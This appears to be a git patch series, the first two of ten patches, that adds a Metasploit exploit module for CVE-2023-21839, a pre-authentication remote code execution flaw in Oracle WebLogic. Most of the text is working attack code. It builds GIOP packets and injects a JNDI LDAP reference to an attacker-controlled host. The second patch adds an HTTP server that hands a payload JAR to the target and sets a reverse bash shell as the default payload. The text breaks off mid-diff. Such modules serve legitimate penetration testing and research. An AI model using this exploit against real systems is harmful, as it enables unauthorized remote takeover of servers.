From d00d339de552b9f2ddb5ef0808b49d185e25d416 Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Wed, 26 Apr 2023 12:48:46 -0500 Subject: [PATCH 01/10] Initial copy with JNDI connection back to LDAP server. --- .../multi/iiop/cve_2023_21839_weblogic_rce.rb | 520 ++++++++++++++++++ 1 file changed, 520 insertions(+) create mode 100644 modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb diff --git a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb new file mode 100644 index 0000000000..19674a0ad3 --- /dev/null +++ b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb @@ -0,0 +1,520 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + include Msf::Exploit::Remote::Tcp + prepend Msf::Exploit::Remote::AutoCheck + + # Page 19 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf explains these codes. + GIOP_REQUEST = 0 + GIOP_REPLY = 1 + GIOP_CANCEL_REQUEST = 2 + GIOP_LOCATE_REQUEST = 3 + GIOP_LOCATE_REPLY = 4 + GIOP_CLOSE_CONNECTION = 5 + GIOP_MESSAGE_ERROR = 6 + GIOP_FRAGMENT = 7 + + OBJECT_FORWARD = "\x00\x00\x00\x02" + + # Taken from page 561 of https://www.omg.org/spec/CORBA/3.0.3/PDF + SYNCSCOPE_NONE = 0 + SYNCSCOPE_WITH_TRANSPORT = 0 + SYNCSCOPE_WITH_SERVER = 1 + SYNCSCOPE_WITH_TARGET = 3 + + # Taken from page 588 of https://www.omg.org/spec/CORBA/3.0.3/PDF + ADDR_DISPOSITION_KEYADDR = 0 + ADDR_DISPOSITION_PROFILE_ADDR = 1 + ADDR_DISPOSITION_REFERENCE_ADDR = 2 + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Oracle Weblogic PreAuth Remote Command Execution via ForeignOpaqueReference IIOP Deserialization', + 'License' => MSF_LICENSE, + 'Author' => [ + '4ra1n', # From X-Ray Security Team of Chaitin Tech. The researcher who originally found this vulnerability and wrote the PoC. + '14m3ta7k', # Of gobysec team. Wrote the writeup and analysis of this vulnerability. + 'Grant Willcox' # @tekwizz123 This Metasploit module + ], + 'Description' => %q{ + TO WRITE + }, + 'References' => [ + ['CVE', '2023-21839'], + ['URL', 'https://www.oracle.com/security-alerts/cpujan2023.html'], + ['URL', 'https://github.com/gobysec/Weblogic/blob/main/Research%20on%20WebLogic%20After-Deserialization.md'], + ['URL', 'https://github.com/4ra1n/CVE-2023-21839'] + ], + 'Privileged' => false, + 'Targets' => [ + [ + 'Linux', + { + 'Arch' => [ARCH_X64, ARCH_X86], + 'Platform' => 'linux', + 'CmdStagerFlavor' => ['printf', 'echo', 'bourne'] + } + ], + [ + 'Windows', + { + 'Arch' => [ARCH_X64, ARCH_X86], + 'Platform' => 'win', + 'CmdStagerFlavor' => ['certutil', 'vbs', 'debug_write', 'debug_asm'] + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2023-01-17', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + Opt::RPORT(7001), + OptAddress.new('LDAP_IP', [true, 'IP Address of the target LDAP server for the JNDI connection']), + OptPort.new('LDAP_PORT', [true, 'Port for the JNDI connection to be made on to the target LDAP server']), + OptString.new('LDAP_URL', [true, 'URL to use when making the JNDI connection to the target LDAP server']) + ] + ) + end + + def get_weblogic_version + socket = connect + socket.put("GET /console/login/LoginForm.jsp HTTP/1.1\nHost: #{datastore['RHOST']}:#{datastore['RPORT']}\n\n") + res = socket.get + fail_with(Failure::UnexpectedReply, 'Could not get the Weblogic login page') unless res + + # Disconnect as we will want a new socket for future connections. + disconnect + + # Do the regex on the result to find the version. + version = res.match(/WebLogic Server Version: ((?:\d{1,3}\.){4}\d{1,3})/) + fail_with(Failure::UnexpectedReply, 'Could not get the version information from the Weblogic login page') if version.nil? + version = version[1] + + Rex::Version.new(version) + end + + def giop_header(msg_type) + header = '' + header << 'GIOP' # Magic + header << "\x01\x02" # Version, in this case 1.2 of the GIOP protocol. + header << "\x00" # Message flags + case msg_type + when GIOP_REQUEST, GIOP_CANCEL_REQUEST, GIOP_LOCATE_REQUEST, GIOP_MESSAGE_ERROR, GIOP_FRAGMENT + header << [msg_type].pack('C') + else + fail_with(Failure::BadConfig, 'Attempt was made to send a packet with an invalid GIOP header!') + end + header << 'LENGTH_REPLACE_ME' + end + + # LocateRequest packets are used to determine whether an object reference is valid, + # whether the current server is capable of directly receiving request for the object reference, + # and if not, to what address the request for the object should be sent. + # + # Taken from https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf page 27 + def giop_locate_request_packet(keyaddress = 'NameService') + header = giop_header(GIOP_LOCATE_REQUEST) # GIOP Header with LocateRequest attribute + data = '' + packet = '' + + @request_id = 1 if @request_id.nil? + @request_id += 1 + data << [@request_id].pack('N') # Request ID + data << [0].pack('n') # TargetAddress, 2 byte field + data << [0].pack('n') # Padding, 2 bytes + data << [keyaddress.length].pack('N') # Key Address Length + data << keyaddress + + packet << header + packet << data + packet.gsub!('LENGTH_REPLACE_ME', [data.length].pack('N')) + + packet + end + + def create_service_context(vscid, scid, context_data, endian = 0) + context = '' + seq_length = context_data.length + 1 # Add 1 to account for the endian byte being part of the sequence length. + context << vscid # 3 byte long VSCID + context << [scid].pack('C') # 1 byte long SCID + context << [seq_length].pack('N') # 4 byte long sequence length + context << [endian].pack('C') # 1 byte indicator of endianness. 0 is big endian, 1 is little endian. + context << context_data + + context + end + + def giop_rebind_any_packet(sync_scope, addr_disposition, key_address, stub_data, context_list_length) + header = giop_header(GIOP_REQUEST) # GIOP Header with REQUEST attribute + data = '' + packet = '' + + @request_id = 1 if @request_id.nil? + @request_id += 1 + data << [@request_id].pack('N') # Request ID + data << [sync_scope].pack('C') # Response flags + data << "\x00\x00\x00" # Reserved + data << [addr_disposition].pack('n') # TargetAddress, 2 bytes + data << [0].pack('n') # Two bytes of padding. + data << [key_address.length].pack('N') # Key Address Length + data << key_address + data << [11].pack('N') # Operation Length + 1 for a NULL byte to terminate the operation name? + data << "rebind_any\x00" # Request Operation + + service_context_list = '' + service_context_list << "\x00" # Seems we have one byte of padding? Lets account for this. + service_context_list << [context_list_length].pack('N') # Sequence Length + service_context_list << '{SERVICE_CONTEXT_LIST}' + + stub_data += "\x27ldap://#{datastore['LDAP_IP']}:#{datastore['LDAP_PORT']}#{datastore['LDAP_URL']}" # Not sure why the backtick is here but hey. + + data << service_context_list + data << stub_data + + packet << header + packet << data + + packet + end + + def goip_resolve_request_packet(sync_scope, addr_disposition, key_address, context_list_length, cos_naming_disector, seq_len) + header = giop_header(GIOP_REQUEST) # GIOP Header with REQUEST attribute + data = '' + packet = '' + + @request_id = 1 if @request_id.nil? + @request_id += 1 + data << [@request_id].pack('N') # Request ID + data << [sync_scope].pack('C') # Response flags + data << "\x00\x00\x00" # Reserved + data << [addr_disposition].pack('n') # TargetAddress, 2 bytes + data << [0].pack('n') # Two bytes of padding. + data << [key_address.length].pack('N') # Key Address Length + data << key_address + data << [8].pack('N') # Operation Length + 1 for a NULL byte to terminate the operation name? + data << "resolve\x00" # Request Operation + + service_context_list = '' + service_context_list << [context_list_length].pack('N') # Sequence Length + service_context_list << '{SERVICE_CONTEXT_LIST}' + + cos_data = '' + if cos_naming_disector + cos_data << "\x00\x00\x00\x00" + cos_data << [seq_len].pack('N') # Sequence length + name_component = "test\x00" + cos_data << [name_component.length].pack('N') # Name component length including NULL byte. + cos_data << name_component + cos_data << "\x00\x00\x00\x00\x00\x00\x01\x00" # Unknown data, Wireshark could not decode this. + end + + data << service_context_list + data << cos_data + + packet << header + packet << data + + packet + end + + def check + begin + @version = get_weblogic_version + fail_with(Failure::UnexpectedReply, 'Could not find the target Weblogic version in the t3 response!') if @version.nil? + rescue ::Timeout::Error + fail_with(Failure::TimeoutExpired, 'Was unable to connect to target. Connection timed out.') + rescue Rex::AddressInUse + fail_with(Failure::BadConfig, 'Address is currently in use') + rescue Rex::HostUnreachable + fail_with(Failure::Unreachable, 'Target host is unreachable!') + rescue Rex::ConnectionRefused + fail_with(Failure::Disconnected, 'Target refused connection!') + rescue ::Errno::ETIMEDOUT, Rex::ConnectionTimeout + fail_with(Failure::TimeoutExpired, 'Was unable to connect to target. Connection timed out.') + end + + if @version.between?(Rex::Version.new('12.2.1.3.0'), Rex::Version.new('12.2.1.3.9999')) + return CheckCode::Vulnerable('Target is a Oracle WebServer 12.2.1.3 server, and is vulnerable!') + elsif @version.between?(Rex::Version.new('12.2.1.4.0'), Rex::Version.new('12.2.1.4.9999')) + return CheckCode::Vulnerable('Target is a Oracle WebServer 12.2.1.4 server, and is vulnerable!') + elsif @version.between?(Rex::Version.new('14.1.1.0.0'), Rex::Version.new('14.1.1.0.9999')) + return CheckCode::Vulnerable('Target is a Oracle WebServer 14.1.1.0 server, and is vulnerable!') + else + return CheckCode::Safe('Target is not a vulnerable version of Oracle WebServer!') + end + end + + def exploit + if @version.blank? + @version = get_weblogic_version + end + + # Step 1 - Make T3 connection to start IIOP connection process, and read response. + socket = connect + print_status('1. Making T3 connection...') + socket.put("t3 9.2.0.0\nAS:255\nHL:92\nMS:10000000\nPU:t3://#{datastore['RHOST']}:#{datastore['RPORT']}\n\n") + _buf = socket.get + disconnect + print_good('Made T3 connection!') + + # Step 2 - Send first GIOP LocateRequest packet + print_status('2. Sending first GIOP LocateRequest packet') + # Make a GIOP LocateRequest packet request and read response. + socket = connect + socket.put(giop_locate_request_packet) + locate_buf = socket.get + disconnect + print_good('Step 2 complete!') + + if locate_buf[0x10..0x13] != OBJECT_FORWARD + fail_with(Failure::UnexpectedReply, 'Target did not respond with the expected OBJECT_FORWARD response to our GIOP LocateRequest packet!') + end + + # Calculate the target port + + # Start at offset 0x60 which will be inside the GIOP's LocateReply message, + # and will be where the IP address is located in the IOR response. + port_offset = 0x60 + + # Starting at this offset above, loop until we hit a zero byte in the IOR buffer. + # This works because the PORT number is represented as a 4 byte long number, aka 32 bits, + # and the upper part will never be used. Either that or there is a \x00\x00 padding section + # between the IP address and the port. + loop do + if locate_buf[port_offset] != "\x00" + port_offset += 0x1 + else + break + end + end + + # If port_offset is too large by this point then we have likely hit an error and should exit + if port_offset > 10240 + fail_with(Failure::UnexpectedReply, 'Response from server when calculating port_offset was malformed!') + end + + # Now, loop until we hit a non-zero byte in the IOR buffer. This should + # place at the location of the port part of the IP address that is embedded in the IOR message. + loop do + if locate_buf[port_offset] == "\x00" + port_offset += 0x1 + else + break + end + end + + port = [] + port.append(locate_buf[port_offset]) + port_offset += 1 + port.append(locate_buf[port_offset]) + + # Reformulate the port number from the array so we can get the actual port the target server is expecting us to use. + final_port = port[1].bytes[0] | (port[0].bytes[0] << 8) + + # Fail if the received port is not the one we expected. + if final_port != datastore['RPORT'] + fail_with(Failure::UnexpectedReply, "Target did not respond with the same RPORT in the GIOP LocateReply message as the one we expected. Expected #{datastore['RPORT']} but got #{final_port}") + end + + lt = port_offset - 0x60 # This will point us 1 byte into the request ID field of the GIOP LocateReply message. + foff = 0x60 + lt + 0x75 # This points us at some point within the IOR object that is just before the bytes V~QU5z�U + + loop do + if locate_buf[foff] == "\x00" + foff += 0x1 + else + break + end + end + + key1 = locate_buf[foff...foff + 8] + key2 = "\xff\xff\xff\xff" + locate_buf[foff + 4...foff + 8] + + if @version.between?(Rex::Version.new('12.0.0.0.0'), Rex::Version.new('12.9999999.999999.999999.99999')) + wls_key_1 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64\x6d\x69\x6e\x53\x65\x72\x76\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49" \ + "\x44\x4c\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x72\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d\x69\x6e\x67\x43" \ + "\x6f\x6e\x74\x65\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x02\x38\x00\x00\x00\x00\x00\x00\x01\x42\x45\x41\x2c\x00\x00\x00\x10\x00" \ + "\x00\x00\x00\x00\x00\x00\x00{{key1}}" + wls_key_2 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64\x6d\x69\x6e\x53\x65\x72\x76\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49" \ + "\x44\x4c\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x72\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d\x69\x6e\x67\x43" \ + "\x6f\x6e\x74\x65\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x04{{key3}}\x00\x00\x00\x01\x42\x45\x41\x2c\x00\x00\x00\x10\x00" \ + "\x00\x00\x00\x00\x00\x00\x00{{key1}}" + elsif @version.between?(Rex::Version.new('14.0.0.0.0'), Rex::Version.new('14.9999999.999999.999999.99999')) + wls_key_1 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64" \ + "\x6d\x69\x6e\x53\x65\x72\x76\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49\x44\x4c\x3a\x77\x65\x62\x6c" \ + "\x6f\x67\x69\x63\x2f\x63\x6f\x72\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d" \ + "\x69\x6e\x67\x43\x6f\x6e\x74\x65\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x02\x38\x00\x00" \ + "\x00\x00\x00\x00\x01\x42\x45\x41\x2e\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00{{key1}}" + wls_key_2 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64\x6d\x69\x6e\x53\x65\x72\x76\x65" \ + "\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49\x44\x4c\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x72" \ + "\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d\x69\x6e\x67\x43\x6f\x6e\x74\x65" \ + "\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x04{{key3}}\x00\x00\x00\x01\x42\x45\x41" \ + "\x2e\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00{{key1}}" + else + fail_with(Failure::NoTarget, 'Target is not running a supported version of Oracle Weblogic that can be targeted!') + end + + wls_key_1.gsub!('{{key1}}', key1) + + # Step 3 - Make a rebindAny request + key_addr = wls_key_1 + stub_data = "\x00\x00\x00\x01\x00\x00\x00\x04\x74\x65\x73\x74\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x1d\x00\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x01" \ + "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\xff\xff\x02\x00\x00\x00\x54\x52\x4d\x49\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x6a\x6e\x64\x69\x2e\x69" \ + "\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x46\x6f\x72\x65\x69\x67\x6e\x4f\x70\x61\x71\x75\x65\x52\x65\x66\x65\x72\x65\x6e\x63\x65\x3a\x44\x32\x33\x37\x44\x39\x31\x43\x42\x32\x46\x30\x46\x36\x38" \ + "\x41\x3a\x33\x44\x32\x31\x35\x32\x37\x46\x45\x44\x35\x39\x36\x45\x46\x31\x00\x00\x00\x00\x00\x7f\xff\xff\x02\x00\x00\x00\x23\x49\x44\x4c\x3a\x6f\x6d\x67\x2e\x6f\x72\x67\x2f\x43\x4f\x52\x42" \ + "\x41\x2f\x57\x53\x74\x72\x69\x6e\x67\x56\x61\x6c\x75\x65\x3a\x31\x2e\x30\x00\x00\x00\x00\x00" + socket = connect + packet = giop_rebind_any_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, "\x00\x00\x00\x00" + stub_data, 6) + + context_data = '' + @service_context_0 = create_service_context("\x00\x00\x00", 5, "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0d\x31\x37\x32\x2e\x32\x36\x2e\x31\x31\x32\x2e\x31\x00\x00\xec\x5b") + @service_context_1 = create_service_context("\x00\x00\x00", 1, "\x00\x00\x00\x00\x01\x00\x20\x05\x01\x00\x01") + @service_context_2 = create_service_context("\x42\x45\x41", 0, "\x0a\x03\x01") + + context_data << @service_context_0 + context_data << @service_context_1 + context_data << create_service_context("\x00\x00\x00", 6, "\x00\x00\x00\x00\x00\x00\x28\x49\x44\x4c\x3a\x6f\x6d\x67\x2e\x6f\x72\x67\x2f\x53\x65\x6e\x64\x69\x6e\x67\x43" \ + "\x6f\x6e\x74\x65\x78\x74\x2f\x43\x6f\x64\x65\x42\x61\x73\x65\x3a\x31\x2e\x30\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xb8\x00\x01\x02\x00\x00\x00\x00" \ + "\x0d\x31\x37\x32\x2e\x32\x36\x2e\x31\x31\x32\x2e\x31\x00\x00\xec\x5b\x00\x00\x00\x64\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x28\x49\x44\x4c\x3a\x6f\x6d\x67\x2e\x6f\x72\x67\x2f\x53\x65\x6e\x64\x69\x6e\x67\x43\x6f\x6e\x74\x65\x78\x74\x2f\x43\x6f\x64\x65\x42\x61" \ + "\x73\x65\x3a\x31\x2e\x30\x00\x00\x00\x00\x03\x31\x32\x00\x00\x00\x00\x00\x01\x42\x45\x41\x2a\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x5e\xed\xaf\xde" \ + "\xbc\x0d\x22\x70\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x2c\x00\x00\x00\x00\x00\x01\x00\x20\x00\x00\x00\x03\x00\x01\x00\x20\x00\x01\x00\x01\x05\x01\x00" \ + "\x01\x00\x01\x01\x00\x00\x00\x00\x03\x00\x01\x01\x00\x00\x01\x01\x09\x05\x01\x00\x01") + context_data << create_service_context("\x00\x00\x00", 15, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00") + context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00") + context_data << @service_context_2 + + packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data) + + # To find the true message size: + # 1. Subtract an extra 12 bytes for GIOP header. + # 2. Then subtract length of the LENGTH_REPLACE_ME string. + # 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field. + message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4 + packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) + + socket.put(packet) + rebind_any_buf = socket.get + disconnect + print_good('Step 3 complete!') + + start_off = 0x64 + lt + 0xc0 + datastore['RHOST'].length + # SendingContextRuntime + 0xac + lt + # IOR ProfileHost ProfilePort + 0x5d # ObjectKey Prefix + + while rebind_any_buf[start_off] != 0x32 + if start_off > 0x2710 + break + end + + start_off += 1 + end + + if start_off > 0x2710 + key3 = "\x32\x38\x39\x00" + else + key3 = rebind_any_buf[start_off...start_off + 4] + end + + wls_key_2.gsub!('{{key3}}', key3) + wls_key_2.gsub!('{{key1}}', key1) + + # Step 4 - rebind_any Request Again??? + socket = connect + key_addr = wls_key_2 + packet = giop_rebind_any_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, stub_data, 4) + + context_data = '' + context_data << @service_context_0 + context_data << @service_context_1 + context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00") + context_data << @service_context_2 + + packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data) + + # To find the true message size: + # 1. Subtract an extra 12 bytes for GIOP header. + # 2. Then subtract length of the LENGTH_REPLACE_ME string. + # 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field. + message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4 + packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) + + socket.put(packet) + rebind_any_buf_2 = socket.get + p rebind_any_buf_2 + disconnect + print_good('Step 4 complete!') + + # Step 5 - Send second GIOP LocateRequest packet + print_status('5. Sending second GIOP LocateRequest packet') + socket = connect + socket.put(giop_locate_request_packet) + _locate_buf_two = socket.get + disconnect + print_good('Step 5 complete!') + + # Step 6 - Resolve packet #1 with wls_key_1 + key_addr = wls_key_1 + packet = goip_resolve_request_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, 4, true, 1) + + context_data = '' + context_data << @service_context_0 + context_data << @service_context_1 + context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00") + context_data << @service_context_2 + + packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data) + + # To find the true message size: + # 1. Subtract an extra 12 bytes for GIOP header. + # 2. Then subtract length of the LENGTH_REPLACE_ME string. + # 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field. + message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4 + packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) + + socket = connect + socket.put(packet) + _resolve_packet_wls_key_1 = socket.get + disconnect + print_good('Step 6 complete!') + + # Step 7 - Resolve packet #2 with wls_key_2 + key_addr = wls_key_2 + packet = goip_resolve_request_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, 4, true, 1) + + context_data = '' + context_data << @service_context_0 + context_data << @service_context_1 + context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00") + context_data << @service_context_2 + + packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data) + + # To find the true message size: + # 1. Subtract an extra 12 bytes for GIOP header. + # 2. Then subtract length of the LENGTH_REPLACE_ME string. + # 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field. + message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4 + packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) + + socket = connect + socket.put(packet) + _resolve_packet_wls_key_1 = socket.get + disconnect + print_good('Step 7 complete!') + end +end From 5ded2adfb511906ac0cddb541225a3a7e7af3e72 Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Thu, 27 Apr 2023 16:24:03 -0500 Subject: [PATCH 02/10] Add in code initial code to start supporting JNDI loading of remote classes, currently a bit broken though --- .../multi/iiop/cve_2023_21839_weblogic_rce.rb | 177 ++++++++++++++++-- 1 file changed, 157 insertions(+), 20 deletions(-) diff --git a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb index 19674a0ad3..28b9fc4622 100644 --- a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb +++ b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb @@ -6,6 +6,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp + include Exploit::Remote::JndiInjection prepend Msf::Exploit::Remote::AutoCheck # Page 19 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf explains these codes. @@ -54,19 +55,13 @@ class MetasploitModule < Msf::Exploit::Remote 'Privileged' => false, 'Targets' => [ [ - 'Linux', - { - 'Arch' => [ARCH_X64, ARCH_X86], - 'Platform' => 'linux', - 'CmdStagerFlavor' => ['printf', 'echo', 'bourne'] - } - ], - [ - 'Windows', - { - 'Arch' => [ARCH_X64, ARCH_X86], - 'Platform' => 'win', - 'CmdStagerFlavor' => ['certutil', 'vbs', 'debug_write', 'debug_asm'] + 'Linux', { + 'Platform' => 'unix', + 'RemoteLoad' => false, + 'Arch' => [ARCH_CMD], + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash' + } } ] ], @@ -79,15 +74,16 @@ class MetasploitModule < Msf::Exploit::Remote } ) ) - register_options( [ Opt::RPORT(7001), - OptAddress.new('LDAP_IP', [true, 'IP Address of the target LDAP server for the JNDI connection']), - OptPort.new('LDAP_PORT', [true, 'Port for the JNDI connection to be made on to the target LDAP server']), - OptString.new('LDAP_URL', [true, 'URL to use when making the JNDI connection to the target LDAP server']) + OptString.new('LDAP_OBJECT_REF', [true, 'Object ref to append to URL when making the JNDI connection to the target LDAP server']), + OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080]) ] ) + register_advanced_options([ + OptPort.new('HttpListenerBindPort', [false, 'The port to bind to if different from HTTP_SRVPORT']) + ]) end def get_weblogic_version @@ -180,7 +176,7 @@ class MetasploitModule < Msf::Exploit::Remote service_context_list << [context_list_length].pack('N') # Sequence Length service_context_list << '{SERVICE_CONTEXT_LIST}' - stub_data += "\x27ldap://#{datastore['LDAP_IP']}:#{datastore['LDAP_PORT']}#{datastore['LDAP_URL']}" # Not sure why the backtick is here but hey. + stub_data += "\x27ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{datastore['LDAP_OBJECT_REF']}" # Not sure why the backtick is here but hey. data << service_context_list data << stub_data @@ -258,6 +254,140 @@ class MetasploitModule < Msf::Exploit::Remote end end + # HTTP Server Related Functions and Overrides + + # Returns the configured (or random, if not configured) URI path + def resource_uri + path = datastore['URIPATH'] || rand_text_alphanumeric(rand(8..15)) + '.jar' + path = '/' + path if path !~ %r{^/} + if path !~ /\.jar$/ + print_status("Appending .jar extension to #{path} as we don't yet serve classpaths") + path += '.jar' + end + datastore['URIPATH'] = path + return path + end + + def resource_url_string + "http#{datastore['SSL'] ? 's' : ''}://#{datastore['SRVHOST']}:#{datastore['HTTP_SRVPORT']}#{resource_uri}" + end + + # + # Handle the HTTP request and return a response. Code borrowed from: + # msf/core/exploit/http/server.rb + # + def start_http_service(opts = {}) + # Start a new HTTP server + @http_service = Rex::ServiceManager.start( + Rex::Proto::Http::Server, + (opts['ServerPort'] || bindport).to_i, + opts['ServerHost'] || bindhost, + datastore['SSL'], + { + 'Msf' => framework, + 'MsfExploit' => self + }, + opts['Comm'] || _determine_server_comm(opts['ServerHost'] || bindhost), + datastore['SSLCert'], + datastore['SSLCompression'], + datastore['SSLCipher'], + datastore['SSLVersion'] + ) + @http_service.server_name = datastore['HTTP::server_name'] + # Default the procedure of the URI to on_request_uri if one isn't + # provided. + uopts = { + 'Proc' => method(:on_request_uri), + 'Path' => resource_uri + }.update(opts['Uri'] || {}) + proto = (datastore['SSL'] ? 'https' : 'http') + + netloc = opts['ServerHost'] || bindhost + http_srvport = (opts['ServerPort'] || bindport).to_i + if (proto == 'http' && http_srvport != 80) || (proto == 'https' && http_srvport != 443) + if Rex::Socket.is_ipv6?(netloc) + netloc = "[#{netloc}]:#{http_srvport}" + else + netloc = "#{netloc}:#{http_srvport}" + end + end + print_status("Serving Java code on: #{proto}://#{netloc}#{uopts['Path']}") + + # Add path to resource + @service_path = uopts['Path'] + @http_service.add_resource(uopts['Path'], uopts) + end + + # + # Kill HTTP service (shut it down and clear resources) + # + def cleanup + # Clean and stop HTTP server + if @http_service + begin + @http_service.remove_resource(datastore['URIPATH']) + @http_service.deref + @http_service.stop + @http_service = nil + rescue StandardError => e + print_error("Failed to stop http server due to #{e}") + end + end + super + end + + # + # Handle HTTP requests and responses + # + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + vprint_good("Payload requested by #{cli.peerhost} using #{agent}") + pay = regenerate_payload(cli) + jar = inject_jar_payload_factory(pay.encoded_jar) + send_response(cli, 200, 'OK', jar) + end + + # + # Create an HTTP response and then send it + # + def send_response(cli, code, message = 'OK', html = '') + proto = Rex::Proto::Http::DefaultProtocol + res = Rex::Proto::Http::Response.new(code, message, proto) + res['Content-Type'] = 'application/java-archive' + res.body = html + cli.send_response(res) + end + + # + # Insert PayloadFactory in Java payload JAR + # + # @param jar [Rex::Zip::Jar] payload JAR to update + # @return [Rex::Zip::Jar] updated payload JAR + def inject_jar_payload_factory(jar = generate_payload.encoded_jar) + # From exploits/multi/browser/java_rhino - should probably go to lib + paths = [ + [ 'metasploit/PayloadFactory.class' ] + ] + paths.each do |path| + 1.upto(path.length - 1) do |idx| + full = path[0, idx].join('/') + '/' + jar.add_file(full, '') unless jar.entries.map(&:name).include?(full) + end + File.open(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-44228', path), 'rb') do |fd| + data = fd.read(fd.stat.size) + jar.add_file(path.join('/'), data) + end + end + jar + end + + # LDAP Server Overrides + def build_ldap_search_response_payload + # Always do a remote load + build_ldap_search_response_payload_remote(resource_url_string) + end + + # Main Exploit def exploit if @version.blank? @version = get_weblogic_version @@ -454,8 +584,7 @@ class MetasploitModule < 